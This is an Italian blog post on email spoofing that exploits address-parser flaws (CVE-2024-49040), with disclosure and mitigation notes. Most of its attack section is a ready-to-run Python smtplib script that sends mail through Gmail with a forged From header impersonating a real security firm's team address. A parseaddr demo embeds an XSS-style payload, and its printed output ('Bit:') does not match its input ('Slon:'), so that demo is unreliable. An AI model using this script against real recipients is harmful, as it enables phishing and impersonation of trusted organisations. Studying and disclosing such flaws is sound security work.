Le email sono oggi uno strumento indispensabile, utilizzate in ambiti professionali, nella logistica, nelle comunicazioni personali, e persino per le prenotazioni quotidiane. Tuttavia, questa tecnologia è nata senza alcuna misura di sicurezza o autenticazione, elementi aggiunti solo in seguito, una volta emerse le problematiche che possiamo immaginare. Quando la sicurezza non viene progettata fin dall’inizio, è inevitabile che rimangano falle significative.
Per questo motivo, sono da sempre affascinato dall’arte dell’email spoofing. Analizzare le tecniche utilizzate per rendere le email uno strumento affidabile, e comprendere come queste possano essere aggirate (e migliorate), è fondamentale per proteggere un sistema così cruciale nella nostra società.
È con questo spirito che nei mesi scorsi mi sono imbattuto in una ricerca interessante, che esamina le vulnerabilità nei parser di indirizzi delle librerie standard di Python e C#. Questo studio mostra come sia possibile sfruttare tali debolezze per creare email spoofate in modo estremamente sofisticato.
Questo articolo è stato scritto a scopo puramente educativo e informativo. L’autore non approva l’uso di queste tecniche per attività illegali o non etiche. L’uso delle informazioni contenute in questo articolo è a tuo rischio e responsabilità. Ti incoraggiamo a utilizzare queste tecniche solo in ambienti di test autorizzati e in conformità con le leggi locali e le normative sulla sicurezza informatica.
La Vulnerabilità
In Python, il modulo email fornisce un metodo per analizzare gli indirizzi email. In particolare, il sotto-modulo email.utils include la funzione parseaddr, che può essere utilizzata per analizzare gli indirizzi email.
Ecco un esempio di come può essere fatto:
from email.utils import parseaddr
parseaddr("<s@[domain.com\nSlon:<img src=x onerror=alert()>]>")
('', 's@[domain.com\nBit:<img src=x onerror=alert()>]')
Come si può osservare, Python non aderisce strettamente agli standard RFC e consente l’inclusione di caratteri ASCII non stampabili negli indirizzi email. Questo può portare a vulnerabilità di tipo CRLF (Carriage Return Line Feed) injection.
L’Exploit
Una volta identificata la vulnerabilità, possiamo metterla in pratica con poche righe di codice Python:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def send_email(sender_email, sender_password, recipient_email, subject, body):
try:
# Creazione del messaggio email
message = MIMEMultipart()
message['From'] = "<security-team@crowdstrike.com> \"spoofed\" <test4spoofing@gmail.com>"
message['To'] = recipient_email
message['Subject'] = subject
# Aggiunta del corpo del messaggio
message.attach(MIMEText(body, "plain"))
# Connessione al server SMTP
with smtplib.SMTP('smtp.gmail.com', 587) as server:
server.starttls()
server.login(sender_email, sender_password)
# Invio dell'email
server.sendmail(sender_email, recipient_email, message.as_string())
print("Email inviata con successo!")
except Exception as e:
print(f"Errore durante l'invio dell'email: {e}")
# Esecuzione del codice
if __name__ == "__main__":
sender_email = "test4spoofing@gmail.com"
sender_password = ****
recipient_email = ****
subject = "Test per CVE"
body = ""
send_email(sender_email, sender_password, recipient_email, subject, body)
Eseguendo questo codice… ta-daaa! L’email viene inviata con successo, senza che i server di Microsoft e Google sollevino una qualche obiezione.

Analisi del sample
Analizziamo più nel dettaglio il sample che abbiamo generato.
Anche espandendo il contatto, non c’è modo di rilevare tracce dello spoofing. Questo significa che, per un utente medio, sarà estremamente difficile riconoscere la non legittimità del mittente, rendendo questo attacco particolarmente efficace.

Tuttavia, esaminando l’header dell’email è possibile individuare evidenze di spoofing. Si nota, ad esempio, che nessuno dei protocolli di sicurezza (DMARC, DKIM, e SPF) è stato superato con successo.

È interessante notare, però, che anche nell’header non vi è traccia del reale indirizzo gmail utilizzato per inviare il sample.
Il campo “Return-Path” è vuoto, e nel campo “From” notiamo semplicemente l’indirizzo spoofato.

Mitigazione della Vulnerabilità
Il problema era già noto a Google e Microsoft, e la vulnerabilità è stata tracciata con il codice CVE-2024-49040. Con il Patch Tuesday di novembre, sono state rilasciate misure di mitigazione che sembrano aver reso la vulnerabilità non più sfruttabile.
Abbiamo deciso di pubblicare questo articolo solo dopo che i giganti tecnologici hanno implementato blocchi efficaci per proteggere gli utenti.
Conclusione
Per il momento, la vulnerabilità sembra risolta, ma la ricerca nel campo dello spoofing email è in continua evoluzione. Ogni nuova tecnica rappresenta un’opportunità per migliorare ulteriormente i protocolli di sicurezza e proteggere un sistema cruciale come le email. Solo adottando misure di sicurezza sempre più avanzate possiamo sperare di stare al passo con l’ingegnosità degli attaccanti.






